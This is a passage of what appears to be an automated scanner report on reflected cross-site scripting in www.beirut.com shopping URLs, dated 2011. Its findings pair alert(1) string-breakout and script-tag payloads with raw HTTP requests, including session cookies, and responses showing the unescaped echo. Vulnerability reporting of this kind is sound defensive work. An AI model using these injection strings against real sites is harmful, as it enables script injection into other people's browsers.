GET /Shopping5d6e3"><a>13e96ed43f8/Consumer-Goods/235690923/Liquor-Store/70 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:12:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59713
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping5d6e3"><a>13e96ed43f8"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac70a'-alert(1)-'2fe708cbd50 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goodsac70a'-alert(1)-'2fe708cbd50/235690923/Liquor-Store/70 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:25:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55694
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goodsac70a'-alert(1)-'2fe708cbd50/235690923/Liquor-Store/70'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b3717<script>alert(1)</script>faa87e74d2a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goodsb3717<script>alert(1)</script>faa87e74d2a/235690923/Liquor-Store/70 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:25:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55674
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goodsb3717<script>alert(1)</script>faa87e74d2a <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 253e6'-alert(1)-'f69723ef75e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923253e6'-alert(1)-'f69723ef75e/Liquor-Store/70 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:29:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923253e6'-alert(1)-'f69723ef75e/Liquor-Store/70'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload debf9'-alert(1)-'828a52ae0b3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Liquor-Storedebf9'-alert(1)-'828a52ae0b3/70 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:38:14 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55683
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Consumer-Goods/235690923/Liquor-Storedebf9'-alert(1)-'828a52ae0b3/70'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e3e8'-alert(1)-'e3082307355 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Liquor-Store/705e3e8'-alert(1)-'e3082307355 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:46:17 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54695
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923/Liquor-Store/705e3e8'-alert(1)-'e3082307355'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61333'-alert(1)-'7083acee0d4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping61333'-alert(1)-'7083acee0d4/Consumer-Goods/235690923/Luggage/41 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:35:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping61333'-alert(1)-'7083acee0d4/Consumer-Goods/235690923/Luggage/41'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed5bc"><a>da4cf3e9fd8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppinged5bc"><a>da4cf3e9fd8/Consumer-Goods/235690923/Luggage/41 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:26:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59994
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppinged5bc"><a>da4cf3e9fd8"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 17e21<script>alert(1)</script>d27d41f48fd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goods17e21<script>alert(1)</script>d27d41f48fd/235690923/Luggage/41 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:42:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58770
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goods17e21<script>alert(1)</script>d27d41f48fd <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77a8b'-alert(1)-'9a4c016a8d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods77a8b'-alert(1)-'9a4c016a8d1/235690923/Luggage/41 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:42:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58963
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Consumer-Goods77a8b'-alert(1)-'9a4c016a8d1/235690923/Luggage/41'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ddd07'-alert(1)-'1611398788c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923ddd07'-alert(1)-'1611398788c/Luggage/41 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58874
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923ddd07'-alert(1)-'1611398788c/Luggage/41'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 566a8'-alert(1)-'2f530c60795 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Luggage566a8'-alert(1)-'2f530c60795/41 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:54:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58911
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Consumer-Goods/235690923/Luggage566a8'-alert(1)-'2f530c60795/41'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6406'-alert(1)-'ecdd14a7de1 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goods/235690923/Luggage/41a6406'-alert(1)-'ecdd14a7de1 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:00:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54714
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Consumer-Goods/235690923/Luggage/41a6406'-alert(1)-'ecdd14a7de1'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85d3c"><a>ef19b500a40 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping85d3c"><a>ef19b500a40/Consumer-Goods/235690923/Party-Supplies/25 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:40:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60025
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping85d3c"><a>ef19b500a40"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b7d6'-alert(1)-'9921276be78 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping5b7d6'-alert(1)-'9921276be78/Consumer-Goods/235690923/Party-Supplies/25 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60257
